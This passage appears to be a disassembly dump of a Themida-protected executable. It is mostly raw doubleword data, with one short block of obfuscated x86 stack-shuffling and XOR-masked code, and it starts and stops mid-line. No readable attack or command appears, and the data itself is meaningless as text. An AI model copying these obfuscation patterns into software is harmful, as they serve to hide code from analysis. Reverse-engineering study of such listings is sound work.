310FF78Bh, 585AAEB6h, 0CE890h, 41F40000h dd 16C87F4Fh, 2F59DD9Ah, 0BD895E33h, 60B0699h, 458D8D5Eh dd 8B060B05h, 0BA6650D6h, 0C89B64Eh, 68B0F24h, 89000000h dd 0B19C19Dh, 9FC28106h, 6A235F07h, 0F6BF0F04h, 4E8h, 100000h dd 60525000h, 1FB25853h, 0BE310F61h, 7DC99140h, 6050585Ah dd 23FE5DB8h, 10E95366h, 7D000000h, 5F9F683Bh, 55DA7197h dd 0CD665275h, 58314EE7h, 24448B61h, 0F18B6604h, 0F18B008Bh dd 4244489h, 8B58F18Bh, 0B090D95h, 9DB5FF06h, 0F060B15h dd 0BD89F2BFh, 60B005Dh, 25BED0FFh, 0E80E13EAh, 0Fh, 0B28C7AABh dd 5F363211h, 70B4A164h, 0F0F21C3h, 8B5EF2B7h, 0B159DBDh dd 0F3BF0F06h, 6A3C7F03h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 80B4C355h, 8166AAF9h dd 81A688F2h, 0F8C7h, 2447C700h, 60000020h, 83F28B66h dd 124EEBBDh, 840F0006h, 187h, 28C783FCh, 0CFDE8166h, 0EE97Ch dd 5E30000h, 98529F45h, 523554C1h, 0A2596626h, 6A2E07C7h dd 47C76469h, 61746104h, 6830F00h, 8B000000h, 0B243D95h dd 0F3858B06h, 6A06124Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0BB62C353h, 0EC987754h dd 28E3C667h, 81D18B66h, 99BE37E6h, 0C47891Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 71C35141h, 7012DFD6h dd 0E989A6B1h, 11h, 22D51E7Eh, 0D05649D8h, 574E35A8h, 0B0C4B231h dd 0F7858B5Ah, 6606124Eh, 89D023BEh, 6A0847h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 79A00FC3h dd 0F618C359h, 11D958Bh, 0C783060Bh, 8E928h, 4A90000h dd 3ED375DCh, 7C72643h, 6E6F632Eh, 89F0BF0Fh, 0B2905B5h dd 447C706h, 676966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0BEC35343h, 895EA584h, 0B0151BDh, 0EF858B06h dd 0F906124Eh, 890C4789h, 0B1F718Dh, 0EB858B06h, 6A06124Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0B038C353h, 4789182Eh, 52006A08h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0F8CB8454h dd 0D625D687h, 31B58BEBh, 58060B16h, 6E9h, 0A64EC200h dd 89CF9A58h, 0B2361BDh, 118D8D06h, 6A060B06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 9377C352h, 8E0E008h, 7E98D27h, 74000000h, 0D68543B3h dd 10E9F58Bh, 6E000000h, 0DF2FF589h, 10595475h, 0C2C1FEDBh dd 5010CF0Eh, 0BA665250h, 310F1591h, 4739ACBEh, 89585A14h dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0E7B741C3h, 0F4160A18h, 5959D01h, 0B5FF060Bh dd 60B0545h, 9D8B60FCh, 60B1585h, 92D8D89h, 6861060Bh dd 0E6367F81h, 28F0Fh db 0 byte_5B16E9 db 0, 8Bh, 0D7h ; DATA XREF: Themida_:00546274o dd 7F240481h, 8B19C990h, 0B0835B5h, 830F5306h, 0 dd 9DB5FF5Ah, 8B060B15h, 0B1685B5h, 6AD0FF06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8B23C350h, 0B8D6h, 95330000h, 60B016Dh, 840FC00Bh, 47h dd 5B9BD09h, 0B5FF060Bh, 60B281Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 27C35646h, 587A4F16h, 81A17A3Eh dd 1F0FDCF2h, 31958914h, 0FF060B05h, 0B0AC595h, 458D8906h dd 8B060B27h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 2BEBD2A2h, 8AC2AD97h, 0A19531D5h dd 23060B32h, 0B134195h, 0BDBD8306h, 60B05h, 0BD830975h dd 60B29D1h, 50197400h, 0B8C08B53h, 42Dh, 12998589h, 9D8D060Bh dd 60DB381h, 585BD3FFh, 29D1BD83h, 7400060Bh, 0B8535017h dd 42Dh, 12998589h, 9D8D060Bh, 60DB022h, 585BD3FFh, 24299531h dd 958B060Bh, 60B0C29h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8B4BE3C3h, 0B0789B5h dd 8DC08B06h, 12585B8Dh, 5B58B06h, 89060B2Ah, 0B174D8Dh dd 4D958B06h, 0C7060B29h, 0B011985h, 585006h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 4D5F5564h, 18ADE515h, 68B0Fh, 9D8B0000h, 60B2E81h, 100985C7h dd 60Bh, 810F0000h, 4, 0BA45BE66h, 0ED9B5FFh, 800F060Bh dd 0 dd 0AC595FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 36CEA5C3h, 0CB816656h, 0E95E1CCDh dd 12h, 35B4A45Bh, 9B1780B2h, 0D5F50F3Fh, 0FEFF3E57h, 3360EB1Dh dd 0B00E185h, 89950906h, 61060B1Fh, 95FF006Ah, 60B32DDh dd 0DEBC08Bh, 0F87EBE87h, 0B5BDB240h, 0F3413013h, 1004EB77h dd 0E9728711h, 560h, 0FE655CA6h, 28CB0611h, 469DACFFh dd 0F16251A9h, 22310C14h, 6BB14C93h, 191E8F54h, 0C6CE3F24h dd 6EBB548Fh, 0F17B8053h, 8645097Dh, 3D2F9EC5h, 4E89C4D0h dd 80EE33D6h, 0DB41EFBDh, 14F8D5DEh, 0F3605FA5h, 59A10112h dd 5EB2967Ah, 0ED7A2F8Ch, 9C486D32h, 0DA2F9E72h, 63B21BEFh dd 88A2E256h, 0B683947Dh, 0A2F223ADh, 84907DABh, 2B7DAA49h dd 0DCE33BEAh, 94D87014h, 97AAF9C3h, 0AFED228h, 0ADF25AA3h dd 0E0C4F305h, 0FDDCE31Ch, 526A23F8h, 8BB61A7Eh, 117FC09h dd 11A32D36h, 9482E99Dh, 0EA047EC3h, 573B1663h, 9482EE9Fh dd 636238C3h, 7DD92CD9h, 0E381C2Bh, 418FFD2Ch, 3DB1C332h dd 0C3948E49h, 0B74AE4DEh, 5Bh, 0F8D5DE51h, 1DAEDC14h dd 2C66C394h, 0F0C26BA1h, 0DF83240h, 44C8F7h, 1213E6h dd 52890000h, 0BFAF8F15h, 5168BB99h, 0C4B5A9EDh, 0F46A84B5h dd 16FAD7DEh, 5632BAC4h, 0D9C3941Dh, 0BFC647E1h, 374F3E82h dd 564C8408h, 616ECD57h, 0A909537Eh, 2077D670h, 0D025C211h dd 0DE867EE5h, 0A617FBDAh, 95A4F75Fh, 589ED21h, 0A74C595Bh dd 7410945Dh, 0FBC3941Dh, 57B0A387h, 196D8142h, 0AEC3941Dh dd 0F01F92ADh, 0BA807FB1h, 0F80BF246h, 83774E54h, 62E76B4Fh dd 0C9F80FFEh, 0F008851Fh, 32417249h, 9960h, 0FE0DF800h dd 0ED1B7FC3h, 0FBDADE77h, 0CAA5CA71h, 784009EFh, 0D00E7AF2h dd 0B981C394h, 0AB1BB8Fh, 0A08FB105h, 2C21CFFFh, 738937DDh dd 6D2DF53h, 3C765E22h, 0AAFA2BB1h, 80987593h, 1CE0D928h dd 0E716C438h, 0EC87A190h, 72C6F903h, 0ED97738Bh, 0B9F5F795h dd 65DA0064h, 6F035AC1h, 704D2DBFh, 42429BA4h, 96AB9F49h dd 0D0098302h, 0D93241C2h, 62h, 0FBDADE27h, 675EA617h dd 2DC846F5h, 73B58FCCh, 17311524h, 0CD72FE33h, 41BC2008h dd 49E48F5h, 25186089h, 0D7DEC63Eh, 0AFDE16FAh, 2EC3941Dh dd 0B766EAE7h, 31EF536Eh, 7C84F6F7h, 0F01DA726h, 2D41ABAAh dd 0C3941D59h, 0C03AD42Eh, 3240F029h, 0D00h, 156D9800h dd 0B786112Eh, 0A2EFB3Eh, 0D3DE66DCh, 56A30AFEh, 2E6A977Bh dd 162B769Fh, 700B91CDh, 0D3EE3BEAh, 0B229BB35h, 8D9774DBh dd 0ADDA85B2h, 8D441FFAh, 8CE0EB89h, 85879262h, 52A8BD9Eh dd 0DFEA3FEEh, 51D8804h, 0D8764A3Eh, 77802075h, 531F7981h dd 59BD9746h, 0C9BD91F5h, 9D8DC03h, 19394DE1h, 0B48E3A61h dd 0DA04B38Bh, 152A582Ch, 0C51F3A61h, 6ED623C8h, 0BD5A2E23h dd 6B8F461Dh, 0D7A69A54h, 0CB0FF3CEh, 96E30CD7h, 940AB1BBh dd 0E05B2055h, 25947CAAh, 0A711E5D0h, 103F36A5h, 771EE865h dd 29CEDFD9h, 8672E1DCh, 2C363867h, 14F42h, 0EF4CDE00h dd 0B81BD0A1h, 53373F6Bh, 943A61FFh, 0A9C3DEE1h, 734730F3h dd 50BD6FD5h, 4EE67445h, 0C3941D3Ah, 39BB58Dh, 0F478E279h dd 0BD9EFF85h, 95CA106Ah, 5DDD95D7h, 967A94B7h, 7CE7D227h dd 0A14B8693h, 0A8EB9F17h, 2C723A60h, 0B650AA15h, 0A39EEB52h dd 0A62761DFh, 95A4F322h, 0CA43ED21h, 0A5578CB9h, 2C35A584h dd 0C08428BAh, 473A60A4h, 48758A73h, 936680C4h, 3Dh, 5F1EBD7Dh dd 470E75F8h, 44758475h, 2A729CF0h, 8C20CA51h, 0C394A2A8h dd 1FD7BB9Fh, 0C394A26Bh, 0E0B63769h, 0D25A809Bh, 0C394A2E6h dd 13E27149h, 0A0h, 68C8DCC9h, 1CCA2E13h, 760D6F26h, 52140E4h dd 0D2C3BD9Fh, 0C3078BC2h, 85512734h, 0D27C7FE5h, 0D0B90D75h dd 0BC698AC7h, 0D11A856Bh, 3325BCBAh, 0B4FB6BDFh, 0BF3A6038h dd 76836865h, 942A915Bh, 0ED990DBBh, 623A6093h, 6F48FF18h dd 68AC7D2h, 0A740EEC2h, 4C9EA5F7h, 967A59A1h, 0FEA485B2h dd 0FC149DE8h, 0DB149852h, 6C447109h, 63477A83h, 0E8E52E9Fh dd 87CF002h, 9F3076B9h, 0D4858DBBh, 5900F4C5h, 0B9897D40h dd 0ED286263h, 3C401697h, 7AAB3527h, 65F11F26h, 4E6750CAh dd 0C43C271Bh, 754850BDh, 0A2B9C3DBh, 0F4FB34B8h, 764CBD85h dd 0D7EA39E4h, 5F231266h, 9445CD7Bh, 40ADB683h, 0BEB61A37h dd 0A9ED787Fh, 5B404D67h, 7E0734Eh, 0E973C7F2h, 72F76572h dd 0CC2F8EFAh, 1E390146h, 0F71198D2h, 4D310016h, 2CD5D0D0h dd 9875EEDBh, 9CEB28Fh, 12h, 4150BD93h, 0BB35DE08h, 1DC18529h dd 7C46C394h, 0D4DE6CD2h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 56CF7BCFh, 0C681E689h, 4, 4BB53h, 0DE290000h, 2434875Bh dd 426D685Ch, 34890000h, 4A156824h, 1C890000h, 0BABB5324h dd 81387219h, 6E0629F3h, 1BEB815Eh, 896009C7h, 241C8BDEh dd 4C481h, 0EC810000h, 4, 81242489h, 42404h, 575B0000h dd 7B89F789h, 243C8B08h, 4C481h, 1C8B0000h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 5E2434FFh, 4C481h dd 6CE90000h, 0ADFFF921h, 120319D0h, 3432EF2Ch, 79C69D38h dd 125D43B8h, 0FFC50306h, 0CEB6ECE0h, 34D5A824h, 7800311Eh dd 5D311D2Fh, 6F047402h, 2415428h, 0BF0BBE5Ch, 699E2D1Fh dd 0D811B14Fh, 0D8F55927h, 7E2F8B5Dh, 0CAEC1641h, 6C308B56h dd 234FB513h, 0EF291150h, 263FF35Ah, 38F5C71Dh, 0D3DEF016h dd 7C878E11h, 49E0C350h, 0DF852777h, 2C90DE7Dh, 13DAC92Bh dd 0CD09FD30h, 4233364h, 0C556A46Bh, 8EA90C51h, 0F537EA66h dd 0DA1BAC6Bh, 0CF4BF61Fh, 9384DF58h, 284F237h, 0D604EB54h dd 0E900B531h, 557h, 8A6960B2h, 243F0A1Dh, 5281B8CBh, 8D566DB5h dd 3E251860h, 67BD5087h, 156A9B58h, 0CADACB28h, 728760F3h dd 0FD6F9C47h, 86431D69h, 0BD2392C5h, 14F8D5DEh, 0F3605FA5h dd 26340112h, 2397A2F7h, 60C941EFh, 6958AF17h, 0F94DA1E5h dd 26340510h, 7886AEB9h, 56AA1E23h, 8ED306A9h, 5406E6Ch dd 6200444h, 7C435B02h, 0F9D42188h, 0E8E53F15h, 6964BE96h dd 995A7780h, 362D186Ch, 0CF0CFD9h, 9579445Dh, 13E7DE24h dd 0E46855AAh, 45AA3B79h, 53B71B36h, 0C7C6C27Fh, 0E224D6DEh dd 0B70E204h, 3F99ED01h, 146EC394h, 0E607DC30h, 14DCA09Dh dd 0C3943F75h, 12E6E7BDh, 324112FBh, 59D6h, 0D5DE3E00h dd 0AEDC14F8h, 66C3941Dh, 0C26BA12Ch, 0EF3240F0h, 1, 0FAD7DE09h dd 6150A716h, 575E4F9Dh, 3941CC7Ah, 445EB61Ah, 3DB1C349h dd 0C3941D49h, 1D4F3BB3h, 0FAC0C394h, 6A67B01Dh, 2275D876h dd 0F3477E82h, 4FB8BB9Fh, 0BC899A3Ah, 0F605F4C8h, 3F1377DBh dd 33BDDC24h, 941DCFBBh, 0CC7A40C3h, 0B0043B41h, 3F83BEC9h dd 8509484Eh, 1F5C0D4h, 7D119C14h, 0FC048183h, 1D8EFA72h dd 0AC01C394h, 84756954h, 0A6A7417Ch, 17F06352h, 9A433702h dd 4BCEB28Fh, 29D45C69h, 0F7931BD0h, 78C3941Dh, 665A2E02h dd 0F2A756C8h, 0A3823240h, 6A000000h, 266EDADEh, 3675B2Fh dd 8EC3CEBFh, 0D5D0CA3Ah, 0AE9D42Ch, 8CF86CFEh, 3C3941Dh dd 1D21A5C9h, 5CA6C394h dd 257FCE78h, 2A6BD01Ah, 0D3839ACDh, 5F45C8Ah, 0E914C6FDh dd 0C1DBA291h, 45F850FEh, 83BA4E5Fh, 0AE324183h, 9Ch, 0C233BDB6h dd 3E4A9AB7h, 0B1C3941Dh, 6AAE9F49h, 0F14816Bh, 1D24A0C4h dd 57ABC394h, 0C24B8F73h, 0DD3185BCh, 0E00DDF33h, 0A3274F94h dd 24C3941Dh, 3216FADEh, 0D0EF3914h, 0F223096Ch, 0E226AAA7h dd 0BA636244h, 608D5F66h, 70543811h, 47C77DC7h, 113FEAE0h dd 50BDAE56h, 98870B4Ah, 0B4B1EF2Bh, 59F7EB8Bh, 0F205A1F4h dd 3B1F73C7h, 7B0FA731h, 0CCC39460h, 0C5F407F6h, 7E0F272Bh dd 88C39460h, 4004A83Ah, 0C7C39460h, 5E221F66h, 0CEE8067Ah dd 6E24C53Fh, 10D3241h, 0EB000000h, 0AFED3DEh, 977B56A3h dd 13E7DE26h, 9F635AAAh, 1E707DB7h, 0FF24A1E3h, 18469DACh dd 0F96DFF84h, 0BD9EFCFCh, 0D4850971h, 806DF6C3h, 64F65A77h dd 0E3576AB9h, 5D29BDAFh, 0D23A60C0h, 0D4B63EE8h, 0ED3A60C0h dd 0C4D136B7h, 68BD6A89h, 151E8F5Dh, 533A0E38h, 0D9870B46h dd 93A5A817h, 0CB559CEFh, 0E50A9B1Dh, 8B7A590h, 40E451C3h dd 3A60E204h, 88B78Bh, 3EB9578Ah, 35752BC2h, 148062Ch dd 0BDEE0000h, 336EA11Eh, 6E982B61h, 27354E2Eh, 9EE1EE8Fh dd 977B5FBDh, 73E0DD26h, 0C0B48192h, 0E7DBC57Ah, 5B2C58CCh dd 5FA33A60h, 88DC79A0h, 599AEF5Eh, 6069B1D5h, 8617363Ah dd 0F7E12E04h, 2A301408h, 7593AEFBh, 9F29239Dh, 60487317h dd 608EF43Ah, 555E4746h, 0DF69FB78h, 60483357h, 3155D93Ah dd 0B63A6048h, 3E8FF34Ch, 1175D9F8h, 45E405F7h, 35CD2C35h dd 2B000000h, 0E5770C6Fh, 62E3E45Bh, 0A2465BE1h, 3FC4F084h dd 57ABC394h, 3F0743E3h, 1B1DC394h, 29C7D48Ah, 391DE1DCh dd 0BB9F17C5h, 8CC3943Fh, 9B56ADB6h, 0FE000000h, 687F1EBDh dd 0C881D155h, 65FE9E1Eh, 0C22E7FF7h, 5BBFBD9Fh, 221F6491h dd 0CDD7A5Eh, 0ED080ABh, 0A811F917h, 14F1625Fh, 0E2423603h dd 3A6143DDh, 51251860h, 0DCA099E8h, 28626321h, 0BA3ECF15h dd 0A12D1B05h, 42EC379Dh, 5083BECBh, 2F787606h, 0C12C3E12h dd 836D9BB6h, 70DBB86Bh, 45C93144h, 0C2B68394h, 1A505D57h dd 0E173F982h, 76CB394Dh, 9AB48E30h, 4F5746D0h, 9E488C70h dd 673815D6h, 0C5B7564Eh, 8DCEEF53h, 5DED023Dh, 33DFA4A7h dd 95E00DDFh, 52FCD0A4h, 0D6F6391h, 46BA95E3h, 0EED31094h dd 261CBD85h, 0BB538852h, 0E741F930h, 62B796B0h, 0AC80BDC2h dd 704D56B7h, 0B82CBE8Ch, 3A7978CCh, 79ED7F43h, 3A79780Dh dd 0C68EB882h, 47DF8C1Ch, 0D7BB96E1h, 57261B66h, 0D38D7140h dd 4ABAD4D1h, 5BAC5550h, 0F18F56Eh, 5FFC4E32h, 0D4241770h dd 3551D571h, 0BA30D2CEh, 4BC26C40h, 9DB80C33h, 14618607h dd 96D58ACh, 58CC5EEAh, 30D2CE2Ch, 5CB15FA3h, 358A7E4Bh dd 8, 3DE8845Fh, 0CC32DCEBh, 9FDD4DEh, 967A57A0h, 12E6D127h dd 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h dd 7BCFFA0Dh, 0E78957CFh, 4C781h, 0EF830000h, 243C8704h dd 242C895Ch, 6F7168h, 24048900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov eax, 5C7E1011h push edi mov edi, 7B4F36F2h xor eax, edi pop edi xor eax, 2123788Fh push 435Fh mov [esp], esp add dword ptr [esp], 4 pop edi push esi mov esi, eax push esi pop dword ptr [edi+8] pop esi push dword ptr [esp] pop edi add esp, 4 mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dd 0B8B334EBh, 6126345h, 0E0FFC503h, 67269113h, 2BD01486h dd 3D5CF4FFh, 49D2A076h, 4A9C31EAh, 7698C97Eh, 3FEE7F8Ch dd 16602B76h, 7B2F229h, 34B25440h, 202244BDh, 5605B0Bh dd 2582BFC5h, 2F5C5F37h, 1145C4BAh, 51C7F0D7h, 68FDD58Bh dd 65BC1EE4h, 71819AFFh, 292D204h, 2DDC9F5Ah, 0E7B3C3Bh dd 36A4757Fh, 5CA05204h, 1E151FDAh, 0E7BED6Ah, 663F4C7Bh dd 35EA3DF7h, 5C8168D6h, 1F80EE15h, 70A4A8F0h, 54C6A5ACh dd 65238D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 8D5252C3h, 0BF5DFB82h, 80250FEFh dd 0E4801DDFh, 4D8D8981h, 0C7060B17h, 0B011985h, 6E6C06h dd 58B0F00h, 66000000h, 7552F081h, 7E957h, 92B50000h, 9725910Dh dd 85C75BF7h, 60B1009h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B3C35747h dd 91BA6612h, 0B5FFF987h, 60B2705h, 148A0Fh, 0FE90000h dd 98000000h, 58CC8F89h, 0C694F390h, 6B4D2DC2h, 95FF5CCEh dd 60B0AC5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 9FC35343h, 858B5271h, 60B2F5Dh, 95FF006Ah, 60B32DDh dd 6BEBC08Bh, 8A3E68A4h, 876DFD6Bh, 0C0B275B5h, 9AAB8A7Eh dd 0C1493D50h, 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h dd 7C34D644h, 47D36C2Eh, 0B4E5E222h, 0C397D194h, 5A382B7Eh dd 621C7517h, 34431400h, 7312C8CBh, 42C3FB48h, 0A22034BAh dd 78917644h, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h, 65B03582h dd 4520CD69h, 6057E78Ch, 0EB602956h, 0C51A9E04h, 5BBE94Dh dd 36400000h, 0DC2BC41Fh, 8A9976EDh, 3B43ACB7h, 0EA2EDF04h dd 0A2C908EBh, 0D50E314Bh, 5DEE338h, 0B2A19CE8h, 0EE754055h dd 23A7CF1Dh, 0A4C58678h, 0D5DE6FD5h, 5FA514F8h, 112F360h dd 8C994034h, 91CCDB1h, 1D22A6CEh, 5DA5C394h, 67BD9579h dd 0EB33E266h, 0AB1F3241h, 4B8F7357h, 9C67B09Dh, 941D7C08h dd 0AB8FF3C3h, 0EB495F48h, 0E7DBAF92h, 61B75083h, 1D780CA0h dd 1ECFC394h, 71553918h, 8755391Dh, 2559A58h, 618F9678h dd 26AA97ECh, 876C793Bh, 139D4671h, 4B5179ACh, 4BE5D38Eh dd 3084B1C2h, 94685130h, 1ECAD0C3h, 7C502419h, 0BDC5B418h dd 0DED03286h, 983B3CFh, 65E504FCh, 0A3CC3241h, 28000000h dd 0A4750BDh, 0A9A44286h, 92AFF45Ch, 0FC881C2Eh, 73C3941Dh dd 0ADC12B0Fh, 0C3941DD9h, 8C7054AEh, 941D26A4h, 0FF5CEEC3h dd 33DDFD07h, 1294B2A1h, 77FF0993h, 0C394DA13h, 354B7594h dd 0B18A5291h, 0A049B35Dh, 89324197h, 0Ah, 21F5BC23h, 0CE4EAFA7h dd 1EBD3A20h, 32E5BCAFh, 0AE9F4958h, 54E66A67h, 0E426A2CAh dd 0A0C4C394h, 0C394E424h, 92E857ABh, 0B38E9974h, 39181ECFh dd 0A6277D55h, 0D81B3641h, 0A634DA2Fh, 0A12E06E9h, 7E8A694Dh dd 6D0C78ECh, 4983C394h, 946DA125h, 0F8DC26C3h, 0DADEE84Eh dd 0A72B2A6Eh, 0A142D463h, 5EA10762h, 0FF05F07Ah, 7B2226C0h dd 0C0A91D2Ch, 46379BBAh, 4AB80C31h, 5F395550h, 59A34845h dd 710FD66h, 849746CAh, 544CC1B5h, 3741D359h, 9490CBBFh dd 0EE665CC3h, 0C394909Ah, 5A77806Dh, 9CDDD966h, 77D7E8C7h dd 40B667D9h, 39E43241h, 0AF32DCE3h, 88h, 0FBDADE49h, 0CCD8C517h dd 0ABF657F1h, 0B23A4496h, 0C3941DD6h, 92AFF459h, 48B890BEh dd 0BFC95352h, 1DCDB92Dh, 7842C394h, 941D9CE8h, 12F13C3h dd 23C9F40Ch, 2296A3F2h, 3D0C1FEEh, 18DB7549h, 0E63F95EFh dd 0AA13E7DBh, 64996D54h, 0A25BB13Ch, 8F3240F2h, 5Fh, 0FBDADE69h dd 45708471h, 0AEF6A7ABh, 85164597h, 514227B2h, 2A937791h dd 0AE1FE3DAh, 7AE76B6Ah, 3046AF3Eh, 6559BD01h, 0CF5F020h dd 0EA2AC9F4h, 4D401EBDh, 0C5E49E94h, 0E6D3222Bh, 35B3D212h dd 0E132C394h, 261A3941h, 0A29DEB52h, 0A72660DEh, 54512BEBh dd 41188DBCh, 1A432h, 0DE400000h, 221D6BD3h, 0B2067A5Eh dd 3F83BECBh, 9E078602h, 0F9A5BE93h, 82C66EA3h, 5C3941Dh dd 1D27A3CBh, 52A8C394h, 25D01A7Eh, 0A910E4D3h, 0A4986C53h dd 0BAC4A640h, 0A0A41C05h, 0E069D11Ah, 0F3D7BB9Ah, 5DB48155h dd 67D4BD9Eh, 0B718F8B4h, 0B0826EDh, 0CF94337h, 2D20CEFBh dd 0ED7FEDD8h, 4921734Eh, 9C54CD05h, 3A61BCE8h, 0AED1B7Fh dd 0DF28889Dh, 0C63A1EE2h, 0A19CE914h, 21A38387h, 103A61BCh dd 0CBDCC5C0h, 7F8865FEh, 0FA0FFE42h, 38A4465Ah, 82669C1Eh dd 81C549ADh, 257FD9ADh, 1B3643A8h, 0DF0D3CD8h, 5B242C36h dd 0C0000001h, 0BCC233BDh, 15DD3185h, 0C3941D71h, 2A9EA3F8h dd 0F71169D6h, 9C4ED5A7h, 9EFF6908h, 8FCC6BDh, 9DEC54A1h dd 19AB48ACh, 0D8AC9DECh, 310C15E4h, 6EDF094Dh, 96A42825h dd 61B61E67h, 0B094E85Ch, 5762B796h, 0D3EA3AE3h, 0CA76BE6Fh dd 0C5398DB4h, 5BAC1DE1h, 1796906Eh, 0A9B9D7Bh, 0B7A590E5h dd 2EDC3E46h, 17997E4Fh, 9152FCD0h, 3505C667h, 4EE32Ch dd 0BD0D0000h, 0DD0B4A50h, 0BBA1BAC1h, 941D0733h, 49D605C3h dd 0D10C6B47h, 7C46C563h, 7C2C5888h, 0FC363C6Bh, 55D96BF1h dd 3C6B7C31h, 7C3753DBh, 42B83C6Bh, 5B638DF5h, 0E58BE040h dd 43823C01h, 4D69FD6Fh, 223C6BDAh, 97FC1BD8h, 4000000h dd 0E4760D6Fh, 9F052140h, 0B6C1AEBDh, 6AD3A79Bh, 0DC2BDA19h dd 2D2519EDh, 3A60CB59h, 1DFAD720h, 9612C125h, 5D211067h dd 357ECF79h, 0DB23D218h, 8AFE76E4h, 1D3A60C8h, 2F070B25h dd 3A60C960h, 34BC496Bh, 6680BFC9h, 0D27C92E7h, 3523C249h dd 81DD067Ah, 0BFA60FBh, 197DC1F8h, 0CE97DEFh, 0E1447189h dd 33443599h, 0D6087CF0h, 0BB9F3075h, 978BC2D2h, 73723623h dd 10DA613Bh, 6472799Ch, 3A3CA34Eh, 0F6296A60h, 495236BEh dd 0EDD52E5Bh, 9AE05F89h, 0D6FBB59h, 9540E476h, 1ABD85B9h dd 0B2CB3A20h, 0BD313B8Fh, 3A7987C9h, 0E600645Eh, 0C66EBB62h dd 0DB3F83B2h, 0BFCAED3Ch, 6145EF46h, 81C569FBh, 63A797Fh dd 7F26A2CAh, 51A93A79h, 0F710D37Dh, 32397A2h, 80AFAC2Bh dd 876C79B3h, 739C4772h, 0F6A72B26h, 302D91A0h, 7B8C7570h dd 2F78954Eh, 3E9AE12h, 73000000h, 0D4DE9C84h, 57A009FDh dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh dd 798871C5h, 0FA0DFC40h, 53CF7BCFh, 0BF57E389h, 54080337h dd 440DE781h, 0EF81533Dh, 343A6B1Ah, 94EFF781h, 0FB011BCDh dd 4EB835Fh, 5C241C87h, 24F168h, 24348900h, 7F7E68h, 242C8900h dd 659EB850h, 81500612h, 1234242Ch, 815E4C45h, 451234C6h dd 0C468584Ch, 89000025h, 4812424h, 424h, 0EC835D00h, 24348904h dd 0F8242C81h, 8F41915Ch, 45810845h, 915CF808h, 242C8B41h dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815E2434h dd 4C4h, 13EDE900h, 386FFFF9h, 34AA450Eh, 2001E6D0h, 0EF1DDA29h dd 6AB3B87Dh, 0C5030612h, 91D4E0FFh, 2D18520Dh, 0F0717BA6h dd 99756B90h, 2E566AB5h, 4F347E7Ah, 0A9FC4FE2h, 0B4194EDEh dd 73974CCEh, 0E57B5325h, 68A24E7Dh, 2DD6EBDh, 0A111186Dh dd 0A76B7CF5h, 88120E36h, 4B644DE7h, 0CF2A7BEBh, 196E504Eh dd 894A7615h, 0D30430FCh, 2C75CB9h, 0CE83340h, 37000000h dd 9718CA6Ch, 24960C70h, 81FD1E16h, 79B42AC9h, 8B66581Ah dd 0B6C081CEh, 0B9000070h, 7A44ACB7h, 1BF9BEh, 6030FF00h dd 0FE8B9h, 0DFD0811Eh, 611D7C20h, 0FFB70F5Ah, 0D7A8EA81h dd 0F606E1Ch, 28Ch, 8A5A5000h, 0F28161C8h, 52CCC6F7h, 512B01BBh dd 0DDEA814Bh, 8B03DA63h, 14E852F9h, 35000000h, 556FBC5Bh dd 0EC6D80A8h, 44828CEAh, 0DFFF6556h, 5FE94A85h, 7E8008Fh dd 68000000h, 6476914Ch, 0B70F504Eh, 0E88359CAh, 8C18104h dd 4E545EAFh, 1B850Fh, 8B660000h, 33E9D9h, 0D5080000h dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h, 0A8A0F91h dd 0F000000h, 48Fh, 0BBF6600h, 0FF5BE9EFh, 945EFFFFh, 239AB443h dd 0D17684D1h, 328D8D01h, 0B306126Dh, 4D8D89BEh, 6A060B17h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 1C1EC351h, 7B3BBA66h, 11985C7h dd 6A60060Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 7338FAC3h, 0EB316Eh, 8B66A007h dd 985C7D9h, 60B10h, 0BF000000h, 619D8066h, 2355B5FFh dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0B6D987C3h, 0C595FFD2h, 6A060B0Ah, 0DD95FF00h dd 8B060B32h, 810FEBC0h, 